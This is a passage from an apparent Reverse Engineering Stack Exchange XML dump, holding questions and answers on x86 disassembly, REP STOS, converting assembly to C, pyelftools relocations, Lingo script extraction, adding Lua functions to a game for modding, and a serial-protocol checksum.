(010dc1c4)&#xA;010a128c e836000000      call    repstos__opt!printf (010a12c7)&#xA;010a1291 59              pop     ecx&#xA;010a1292 59              pop     ecx&#xA;010a1293 5f              pop     edi&#xA;010a1294 5e              pop     esi&#xA;&#xA;repstos__opt!somefunc+0x34:&#xA;010a1295 c3              ret&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Disassembly pertaining to line no 9 &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; lsa .,4,2&#xA;     9:     memset(blah,0,0x20);&#xA;    10:     memcpy(blah,foo,0x20);&#xA;0:000&amp;gt; u `repstos__opt!repstos.cpp:9`&#xA;repstos__opt!somefunc+0xe [xxxx\repstos.cpp @ 9]:&#xA;002c126f 56              push    esi&#xA;002c1270 57              push    edi&#xA;002c1271 6a08            push    8&#xA;002c1273 59              pop     ecx&#xA;002c1274 33c0            xor     eax,eax&#xA;002c1276 8bfa            mov     edi,edx&#xA;002c1278 f3ab            rep stos dword ptr es:[edi] &amp;lt;&amp;lt;&amp;lt;---&#xA;002c127a 6a08            push    8&#xA;0:000&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2016-11-30T19:27:47.530" LastActivityDate="2016-11-30T19:27:47.530" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14076" PostTypeId="2" ParentId="14073" CreationDate="2016-11-30T19:52:50.297" Score="7" Body="&lt;p&gt;Let's start by explaining what each instruction does. REP OPD works as follows :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;          for (; ecx &amp;gt; 0; ecx--) OPD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This instruction will repeat the operand while decrementing &lt;strong&gt;ECX&lt;/strong&gt; until it reaches &lt;strong&gt;0&lt;/strong&gt;. Notice in your code that &lt;strong&gt;ECX&lt;/strong&gt; is set to 13 (address 0040106A).                &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.jaist.ac.jp/iscenter-new/mpc/altix/altixdata/opt/intel/vtune/doc/users_guide/mergedProjects/analyzer_ec/mergedProjects/reference_olh/mergedProjects/instructions/instruct32_hh/vc304.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;STOS&lt;/a&gt; OPD, on the other hand, stores the value of &lt;strong&gt;AL&lt;/strong&gt; or &lt;strong&gt;AX&lt;/strong&gt;, or &lt;strong&gt;EAX&lt;/strong&gt; in the given memory operand. Register size is defined by the memory location size hence the &lt;strong&gt;DWORD&lt;/strong&gt; in your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In overall, these two instructions are combined to create a loop that stores data in memory.&#xA;Now to put things in &lt;strong&gt;C&lt;/strong&gt; form, if we want to initialize an array of bytes to &lt;strong&gt;0&lt;/strong&gt; (e.g. memset) we can do it this way :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    unsigned char t[MAX_CHAR];&#xA;&#xA;    for (int i = 0; i &amp;lt; MAX_CHAR; i++)&#xA;         t[i] = 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This C code can be translated to multiple assembly equivalents. It depends mostly on the compiler and the specified level of optimization.&#xA;One variant based on REP STOS could be :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    mov ecx, MAX_CHAR  //Initialize ecx to the number of iterations desired&#xA;    xor eax, eax       //Initialize eax to 0  &#xA;    rep stos [t + ecx] //Store the value of eax in t[i] where i = ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another equivalent assembly variant could be :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    mov ecx, MAX_CHAR   //Initialize ecx to the number of iterations&#xA;    xor eax, eax        //Initialize eax to 0&#xA;    loop0:              //Define loop label&#xA;    mov [t + ecx], eax  //Copy eax into t[i] where i = ecx &#xA;    dec ecx             //Decrement ecx ==&amp;gt; ecx = ecx - 1&#xA;    jnz loop0           //Jump only if previous result (ecx - 1) isn't 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These two assembly codes are totally similar. The only difference is that one will cost you more in terms of cycles than the other. In other words, one is faster than the other. How to define which is the best ? If you check &lt;a href=&quot;http://www.agner.org/optimize/instruction_tables.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Agner Fog's instruction tables&lt;/a&gt; page 162, you'll notice that &lt;strong&gt;REP STOS&lt;/strong&gt; latency is &lt;strong&gt;n&lt;/strong&gt; (n being the number of iterations) in the worst case.&#xA;If you look around in the instruction tables, you'll see that the &lt;strong&gt;XOR REG, SAME&lt;/strong&gt; will cost us 0.25 cycles, and that the &lt;strong&gt;MOV R, IMM&lt;/strong&gt; will cost us 0.5 cycles. In overall, the performance of the first assembly code can be evaluated to : &lt;strong&gt;latency = n + 0.75&lt;/strong&gt; cycles (for a 1000 iterations ~ 1000.75 cycles).&#xA;If we look at the second assembly code we get the following : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    mov ecx, MAX_CHAR   //0.50 cycles&#xA;    xor eax, eax        //0.25 cycles&#xA;    loop0:              &#xA;    mov [t + ecx], eax  //1 cycle &#xA;    dec ecx             //2 cycles&#xA;    jnz loop0           //1 cycle&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case, we get &lt;strong&gt;latency = 4 * n + 0.75&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, you might think that the first code is faster than the second one 'cause &lt;strong&gt;n &amp;lt; 4n&lt;/strong&gt;. Don't forget that the &lt;strong&gt;Intel&lt;/strong&gt; architecture is pipelined and there's some other weirdness going on. What I can assure you though, is that the first code is VERY slow compared to the second one. Why? &lt;strong&gt;REP STOS&lt;/strong&gt; is microcoded (Fused µOps column). Meaning, it's not a real hardware instruction. It is essentially made by combining multiple circuits (two here) in a way that could've - in the past, with Pentium III &amp;amp; IV - save you time. The problem with this approach is that it doesn't hold great in the pipeline. &#xA;The second assembly code will be much faster because all instructions are hardcoded. Meaning, there's a special circuit for each one and there's no need to combine other circuits to perform the desired task. Therefore, these instructions can be pipelined easily, thus the computed &lt;strong&gt;4n&lt;/strong&gt; overall latency can go down far below &lt;strong&gt;n&lt;/strong&gt; (if everything is cached properly). The whole loop iteration will go down to around 0.75 cycles for all three instructions. Plus a bonus when the branch predictor hits it right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to remind you that these instructions came to life in a time where &lt;strong&gt;CPUs&lt;/strong&gt; had a hard time running loop constructs efficiently. Especially for string processing because of too many branches and small caches. With the advent of efficient branch predictors and larger/more intricate cache systems, these instructions became, somehow, obsolete. Rare are the compilers that will generate code based on &lt;strong&gt;REP STOS&lt;/strong&gt; or &lt;strong&gt;REP LODS&lt;/strong&gt;, unless you're running your code on some pretty old &lt;strong&gt;CPU&lt;/strong&gt; or using a pretty old compiler (like &lt;strong&gt;Turbo C&lt;/strong&gt; for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that my post helped shed some light on those instructions and how they can be used. Let me know if you need more details or more explanations.&lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2016-12-02T10:07:52.700" LastActivityDate="2016-12-02T10:07:52.700" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14077" PostTypeId="1" CreationDate="2016-11-30T23:05:29.743" Score="1" ViewCount="60" Body="&lt;p&gt;Recently I came across and malformed mp4 that when played on the iPhone would crash the device.  I am trying to figure out which bits are specifically responsible for the crash.  I am wondering if there is any software out there that can help me inspect the different mp4 meta fields and find out where the problem is so that I can write detection logic to block files like it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to directly link the mp4, but some google searches should be able to bring it up easily.&lt;/p&gt;&#xA;" OwnerUserId="18266" LastActivityDate="2016-11-30T23:05:29.743" Title="Reverse Engineer an iOS MP4 Bug" Tags="|malware|ios|digital-forensics|buffer-overflow|hexadecimal|" AnswerCount="0" CommentCount="4" FavoriteCount="0" ClosedDate="2016-12-17T17:50:56.223" ContentLicense="CC BY-SA 3.0" />
  <row Id="14078" PostTypeId="1" CreationDate="2016-12-01T01:37:35.667" Score="2" ViewCount="2461" Body="&lt;p&gt;I'm trying to convert x86-64 assembly into C code, but am still unsure about some of the lines. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the assembly code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   ....&#xA;  pushq %rbp &#xA;  movq %rsp, %rbp &#xA;  subq $20, %rsp&#xA;  movl %edi, -20(%rbp) &#xA;  movl $2, -4(%rbp) &#xA;&#xA; jmp .L2&#xA;  movl -20(%rbp), %eax //1 Lines 1-3 divide %eax / -4(%rbp)&#xA;  cltd  //2 the quotient is stored in %eax&#xA;  idivl -4(%rbp) //3 Remainder is stored in %edx&#xA;  movl %edx, %eax &#xA;  testl %eax, %eax&#xA;  jne .L3 &#xA;  movl $0, %eax &#xA;  jmp .L4 &#xA;&#xA;.L3: &#xA;  addl $1, -4(%rbp)&#xA;&#xA;.L2: &#xA;  movl -4(%rbp), %eax &#xA;  cmpl -20(%rbp), %eax&#xA;  jl .L5 &#xA;  movl $1, %eax&#xA;&#xA; .L4: &#xA;  leave &#xA;  ret &#xA;  .....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In C, would it be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int function (int param) {&#xA;   int var1= 2; &#xA;   while (var1 &amp;lt; param) {&#xA;       if (eax != 0) { // instead of eax, should it be var1?&#xA;           eax = eax / var1; // unsure about the body&#xA;   } &#xA;return var1; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If anyone can help with guiding me to the right direction or showing me what I'm missing that would be nice.&lt;/p&gt;&#xA;" OwnerUserId="18268" LastActivityDate="2016-12-01T17:06:23.700" Title="Translating x86-64 assembly to C" Tags="|assembly|x86|c|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14080" PostTypeId="2" ParentId="14078" CreationDate="2016-12-01T04:05:06.720" Score="2" Body="&lt;p&gt;This answer could be better if you provided more context which exact assembler statements you have problems with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, the compiler often has an instruction that moves a variable to a register at the start of something, works with that register for a while, then stores the variable back. In your case, think of &lt;code&gt;eax&lt;/code&gt; as a temporary variable that copies &lt;code&gt;var1&lt;/code&gt;, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eax_temp_var1=var1;&#xA;eax_temp_var1=eax_temp_var1%var2;  // idivl; movl&#xA;if (eax_temp_var1 == 0)            // testl&#xA;    return 0;                      // movl $0, eax; jmp L4; leave; ret&#xA;var2++;                            // addl $1&#xA;if (var2&amp;lt;var1)&#xA;    goto L5;                       // movl; cmpl; jl&#xA;return 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, a C programmer wouldn' write the first three lines like that, it would rather be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (var1 % var2 == 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and part of the challenge of reverse engineering is simplifying code like this to understand what's going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that in the code snippet you posted, there's no jump back, as we don't know where L5 is; so there's no reason why this should be a loop. (Actually, i guess the whole thing is a primality test, and L5 ist just after the &lt;code&gt;jmp .L2&lt;/code&gt;, which would make it a loop).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when the program arrives at L4, &lt;code&gt;eax&lt;/code&gt; will either contain a 0 or a 1, so this will never return var1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, i used var1%var2, not var1/var2. You commented &quot;Remainder in edx&quot; yourself; then &lt;code&gt;edx&lt;/code&gt; is moved to &lt;code&gt;eax&lt;/code&gt;, then &lt;code&gt;eax&lt;/code&gt; gets tested if it's zero. So, it's the remainder, not the quotient, that gets tested.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-12-01T04:05:06.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14081" PostTypeId="1" CreationDate="2016-12-01T06:10:54.717" Score="-1" ViewCount="1513" Body="&lt;p&gt;I am sorry if this is really a silly question. I am trying to learn reverse engineering. What I can't understand is those 'var_8', 'var_12'. Are they just variables? What are the use of them in the following code? If someone give me an overview of what this piece of code actually does then it will boost up my learning process. I know the first four instructions which are really just setting up the stack frame for the function and I know all the registers used in here. I need to know what this function actually doing so that I can judge if I am figuring it out right or wrong.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00611e63 8BFF                            mov        edi, edi                ; XREF=0x611721&#xA;00611e65 55                              push       ebp&#xA;00611e66 8BEC                            mov        ebp, esp&#xA;00611e68 83EC10                          sub        esp, 0x10&#xA;00611e6b A174897000                      mov        eax, dword [ds:0x708974]&#xA;00611e70 8365F800                        and        dword [ss:ebp-0x10+var_8], 0x0&#xA;00611e74 8365FC00                        and        dword [ss:ebp-0x10+var_12], 0x0&#xA;00611e78 53                              push       ebx&#xA;00611e79 57                              push       edi&#xA;00611e7a BF4EE640BB                      mov        edi, 0xbb40e64e&#xA;00611e7f BB0000FFFF                      mov        ebx, 0xffff0000&#xA;00611e84 3BC7                            cmp        eax, edi&#xA;00611e86 740D                            je         0x611e95&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18270" LastActivityDate="2016-12-03T16:50:07.780" Title="What are 'var_8', 'var_C' actually mean?" Tags="|disassembly|x86|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14082" PostTypeId="2" ParentId="14081" CreationDate="2016-12-01T06:56:04.987" Score="0" Body="&lt;p&gt;These &lt;code&gt;var_*&lt;/code&gt; are numeric offsets of something which Ida detected as variables on the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In one of the lines with these constants you can see the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dword [ss:ebp-0x10+var_8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This actually references a dword (4 bytes) from address which is computed in the following way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from a stack segment (&lt;code&gt;ss&lt;/code&gt;) a value of register &lt;code&gt;ebp&lt;/code&gt; - &lt;code&gt;0x10&lt;/code&gt; + &lt;code&gt;var_8&lt;/code&gt; constant (which is defined at the start of the function (you'll see there something like &lt;code&gt;var_8 = dword ptr -8h&lt;/code&gt; ). &lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2016-12-01T06:56:04.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14083" PostTypeId="2" ParentId="14074" CreationDate="2016-12-01T09:58:41.477" Score="0" Body="&lt;p&gt;So after some toying around with elftools, I found the following solution for import-symbols:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    for section in self._elf.iter_sections():&#xA;        if not isinstance(section, RelocationSection):&#xA;            continue&#xA;    symtable = self._elf.get_section(section['sh_link'])&#xA;    for relocation in section.iter_relocations():&#xA;        if not relocation['r_info_sym']:&#xA;            continue&#xA;        symbol = symtable.get_symbol(relocation['r_info_sym'])&#xA;        yield ImportSymbol(relocation['r_offset'], symbol.name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code is inspired by &lt;a href=&quot;https://github.com/eliben/pyelftools/blob/master/scripts/readelf.py&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;implementation&quot;&gt;pyelftools readelf implementation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although pyelftools offers some relocation handling, I've not yet seen a binary for which that actually works. It will complain it doesn't know some relocation types, but for the future, I'll post this snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def _reloc_section(self, section):&#xA;    rh = RelocationHandler(self._elf)&#xA;    data = section.data()&#xA;    relocation_section = rh.find_relocations_for_section(section)&#xA;    if relocation_section:&#xA;        try:&#xA;            rh.apply_section_relocations(data, relocation_section)&#xA;        except Exception as e:&#xA;            print 'Could not relocate %s' % section.name&#xA;    return data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2016-12-01T09:58:41.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14084" PostTypeId="2" ParentId="12943" CreationDate="2016-12-01T10:11:07.413" Score="0" Body="&lt;p&gt;The NNNI part is wrong, my D/L has my middle name on it and the I position is a 0, you are correct for the First 5 as the Last name and the Last 6 are the birthdate.&lt;/p&gt;&#xA;" OwnerUserId="18272" LastActivityDate="2016-12-01T10:11:07.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14085" PostTypeId="2" ParentId="14081" CreationDate="2016-12-01T11:31:18.990" Score="1" Body="&lt;p&gt;The given answer is already great but I think it could be nice to clarify something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are saying:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I know the first four instructions which are really just setting up the stack frame for the function&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In fact the first instruction (&lt;code&gt;mov edi, edi&lt;/code&gt;) is not part of the stack frame mecanism. It is a hot-patch point often used in Windows DLL. &lt;a href=&quot;https://blogs.msdn.microsoft.com/oldnewthing/20110921-00/?p=9583&quot; rel=&quot;nofollow noreferrer&quot;&gt;This page&lt;/a&gt; could give you insight about how it works.&lt;/p&gt;&#xA;" OwnerUserId="17216" LastActivityDate="2016-12-01T11:31:18.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14088" PostTypeId="2" ParentId="14078" CreationDate="2016-12-01T15:56:00.430" Score="1" Body="&lt;p&gt;The end part is missing but it pretty much looks like a naive function to test for primality. It tries to divide param with every number from 2 to (param - 1). If the remainder is zero, then the function has found a divisor and returns 0. Else it returns 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool is_prime(int param)&#xA;{&#xA;    int var1;&#xA;&#xA;    for (var1 = 2; var1 &amp;lt; param; var1++)&#xA;    {&#xA;        if (param % var1 == 0) return false;&#xA;    }&#xA;&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;-20(%rbp) is the parameter; that would be param.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-4(%rbp) is a local variable; that would be var1.&lt;/p&gt;&#xA;" OwnerUserId="18275" LastEditorUserId="18275" LastEditDate="2016-12-01T17:06:23.700" LastActivityDate="2016-12-01T17:06:23.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14089" PostTypeId="1" CreationDate="2016-12-01T17:18:06.843" Score="4" ViewCount="3100" Body="&lt;p&gt;I was wondering if I could get some tips on reverse engineering .dcr/.cct files to get Lingo scripts. I know with recover-cct/recover-dir you can get all the assets etc. but you can't get Lingo scripts. I was told the only way to get them is by reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For people who don't know:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lingo is a verbose object-oriented (OO) scripting language developed by John H. Thompson for use in Adobe Director (formerly Macromedia Director). Lingo is used to develop desktop application software, interactive kiosks, CD-ROMs and Adobe Shockwave content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see Lingo as the AS3 but for shockwave files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I heard something about gzip but I'm not 100% sure.&lt;/p&gt;&#xA;" OwnerUserId="18143" LastEditorUserId="18143" LastEditDate="2016-12-02T16:03:07.200" LastActivityDate="2023-06-13T11:26:27.350" Title="Reverse engineering Lingo scripts .DCR/.CCT files" Tags="|decompilation|script|" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="14091" PostTypeId="1" CreationDate="2016-12-02T19:39:17.417" Score="5" ViewCount="3554" Body="&lt;p&gt;I am trying to hack a game (not for cheating though) by introducing new built-in methods and functions in order to communicate with the game using sockets. Here is a small &quot;pseudo code&quot; example of what I want to accomplish:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the Lua code I am calling &lt;code&gt;my_hack()&lt;/code&gt; and pass the current game state:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GameState = {}&#xA;&#xA;-- Game state object to be passed on&#xA;function GameState:new()&#xA;  -- Data&#xA;end&#xA;&#xA;local gameState = GameState:new()&#xA;-- Collect game state data and pass it to 'my_hack' ..&#xA;my_hack(gameState)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and inside &lt;code&gt;my_hack&lt;/code&gt; the object is getting sent away:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int my_hack(lua_State * l)&#xA;{&#xA;   void* gameState= lua_topointer(l, 1);&#xA;&#xA;   // Send the game state:&#xA;   socket-&amp;gt;send_data(gameState);&#xA;&#xA;   return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now, the big question is how to introduce &lt;code&gt;my_hack()&lt;/code&gt; to the game?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume, that all built in functions must be kept in some sort of lookup table. Since all Lua code is getting interpreted, functions like &lt;code&gt;import&lt;/code&gt; etc. will have to be statically available, right? If that is correct, then it should be &quot;enough&quot; to find out &lt;em&gt;where&lt;/em&gt; this code is residing in order to smuggle my code into the game that would allow me to call &lt;code&gt;my_hack()&lt;/code&gt; in a Lua script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There should be two options: The first is that the Lua built is embedded inside the executable and is completely static and the second is that all Lua code gets loaded dynamically from a DLL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question goes out to anybody who has a slightest clue about where and how I should keep looking for the built in functions. I've tried a few things with Cheat Engine but I wasn't too successful. I was able to cheat a bit ^^ but that's not what I'm looking out for.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This is what my current &quot;progress&quot; looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found some hints I'm trying to go after in the data section of the executable. For example IDA is giving me&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.rdata:00D44210                 dd offset aLoadfile     ; &quot;loadfile&quot;&#xA;.rdata:00D44214                 dd offset sub_90ECE0&#xA;.rdata:00D44218                 dd offset aDofile       ; &quot;dofile&quot;&#xA;.rdata:00D4421C                 dd offset sub_90ED20&#xA;.rdata:00D44220                 dd offset aLoadstring   ; &quot;loadstring&quot;&#xA;.rdata:00D44224                 dd offset sub_90EC80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I know that these strings here (loadfile, dofile, etc.) are actually the names of built-in functions that modders can use in Lua - a script language in order to change stuff in the game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to find out at which point this address is being accessed for reading. For that I am using Cheat Engine and at this point I would like to stress that I am not trying to cheat here but to introduce new built-in functions in order to have more flexibility when it comes to modding. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the addresses which I see in IDA do not seem to be the actual virtual addresses. If I look at this address with Cheat Engine, which is just reading out the memory, I'm getting nothing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is if I will be able to find the correct virtual address of e.g. &lt;code&gt;dofile&lt;/code&gt; in order to read that out from my RAM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I hope to see in the end is from where these methods are getting accessed and in a much later step maybe find out where the actual code of &lt;code&gt;dofile&lt;/code&gt; resides. At the end I want to smuggle my code into the right place and introduce a new function &lt;code&gt;my_hack&lt;/code&gt; in order to get control of the program.&lt;/p&gt;&#xA;" OwnerUserId="18287" LastEditorUserId="18287" LastEditDate="2016-12-03T11:53:35.367" LastActivityDate="2017-02-03T12:08:31.070" Title="Hacking Lua - Introduce new functions into built Lua" Tags="|ida|dll-injection|injection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14092" PostTypeId="1" CreationDate="2016-12-02T20:07:50.813" Score="1" ViewCount="349" Body="&lt;p&gt;As a total noob in this territory, I am trying to decipher a serial protocol between two devices A and B. It looks like the frames that are sent from B to A are somehow protected with a CRC or checksum. The funny thing is that equal dataframes sent in different power-up cycles, carry different CRC/checksum data. This lead me to believe that there is a mechanism to negotiate a seed(-like) value as part of the startup procedure. I have found a dataframe, sent from A to B, that seems to contain this data. In the data I collected, frames starting with &quot;A0 07&quot; represent these seed-frames (from device A to B). All frames following a seed-frame are data-frames (starting with &quot;A0 82&quot;, sent from B to A) and are, presumably, CRC'ed/Checksummed using the values from the preceeding seed-frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried analysing the data bij myself and using reveng.exe to no avail. I clearly see patterns but am having a hard time defining them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;// Note 1&#xA;As can be seen at the records marked &quot;// Note 1&quot;, re=ordering databytes leads to the same CRC/checksum. Maybe some lineair algorithm?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;// Note 2&#xA;The frames marked &quot;// Note 2&quot; show an equal CRC/checksum for different databytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to be able to add a valid CRC/checksum to self-generated data-frames, probably using the data from the seed-frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your help is much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 1     1    A0 07 03 2C 06&#xA; 1     2    A0 82 00 01 02 40 00 CF E4&#xA; 1     3    A0 82 00 02 02 00 00 CF 62  // Note 2&#xA; 1     4    A0 82 00 03 02 00 01 CF 62  // Note 2&#xA; 1     5    A0 82 00 04 02 00 01 CF 6C&#xA; 1     6    A0 82 00 05 02 00 81 CE 6E&#xA; 1     7    A0 82 00 06 02 00 81 CE 68&#xA; 1     8    A0 82 00 07 02 02 00 CF 6C&#xA; 1     9    A0 82 00 08 02 00 00 CF 76&#xA; 1    10    A0 82 00 09 02 40 00 CF F4&#xA; 1    11    A0 82 00 0A 02 00 00 CF 72&#xA; 1    12    A0 82 00 0B 02 00 01 CF 72&#xA; 1    13    A0 82 00 0C 02 01 00 CF 7C&#xA; 1    14    A0 82 00 0D 02 00 00 CF 7C&#xA; 1    15    A0 82 00 0E 02 00 01 CF 78&#xA; 1    16    A0 82 00 0F 02 01 00 CF 7A&#xA; 1    17    A0 82 00 10 02 00 00 CF 46&#xA; 1    18    A0 82 00 11 02 00 01 CF 46&#xA; 1    19    A0 82 00 12 02 01 00 CF 40&#xA; 1    20    A0 82 00 13 02 00 00 CF 40&#xA; 1    21    A0 82 00 14 02 00 01 CF 4C&#xA; 1    22    A0 82 00 15 02 01 00 CF 4E&#xA; 1    23    A0 82 00 16 02 00 00 CF 4A&#xA; 1    24    A0 82 00 17 02 01 00 CF 4A&#xA; 1    25    A0 82 00 18 02 00 00 CF 56&#xA; 1    26    A0 82 00 19 02 00 01 CF 56&#xA; 1    27    A0 82 00 1A 02 01 00 CF 50&#xA; 1    28    A0 82 00 1B 02 00 00 CF 50&#xA; 1    29    A0 82 00 1C 02 00 01 CF 5C&#xA; 1    30    A0 82 00 1D 02 00 01 CF 5E&#xA; 1    31    A0 82 00 1E 02 02 00 CF 5E&#xA; 1    32    A0 82 00 1F 02 00 00 CF 58&#xA; 1    33    A0 82 00 20 02 00 01 CF 24&#xA; 1    34    A0 82 00 21 02 00 01 CF 26&#xA; 1    35    A0 82 00 22 02 01 00 CF 20&#xA; 1    36    A0 82 00 23 02 00 00 CF 20&#xA; 1    37    A0 82 00 24 02 00 01 CF 2C&#xA; 1    38    A0 82 00 25 02 00 01 CF 2E&#xA; 1    39    A0 82 00 26 02 00 01 CF 28&#xA; 1    40    A0 82 00 27 02 00 81 CE 2A&#xA; 1    41    A0 82 00 28 02 00 01 CF 34&#xA; 1    42    A0 82 00 29 02 01 00 CF 36&#xA; 1    43    A0 82 00 2A 02 00 00 CF 32&#xA; 1    44    A0 82 00 2B 02 00 01 CF 32&#xA; 1    45    A0 82 00 2C 02 00 01 CF 3C&#xA; 1    46    A0 82 00 2D 02 00 01 CF 3E&#xA; 1    47    A0 82 00 2E 02 00 81 CE 38&#xA; 1    48    A0 82 00 2F 02 00 81 CE 3A&#xA; 1    49    A0 82 00 30 02 00 81 CE 04&#xA; 1    50    A0 82 00 31 02 00 81 CE 06&#xA; 1    51    A0 82 00 32 02 00 81 CE 00&#xA; 1    52    A0 82 00 33 02 00 81 CE 02&#xA; 1    53    A0 82 00 34 02 00 81 CE 0C&#xA; 1    54    A0 82 00 35 02 02 00 CF 08&#xA; 1    55    A0 82 00 36 02 00 00 CF 0A&#xA; 1    56    A0 82 00 37 02 02 00 CF 0C&#xA; 1    57    A0 82 00 38 02 00 00 CF 16&#xA; 1    58    A0 82 00 39 02 02 00 CF 10&#xA; 1    59    A0 82 00 3A 02 00 00 CF 12&#xA;&#xA; 2     1    A0 07 00 15 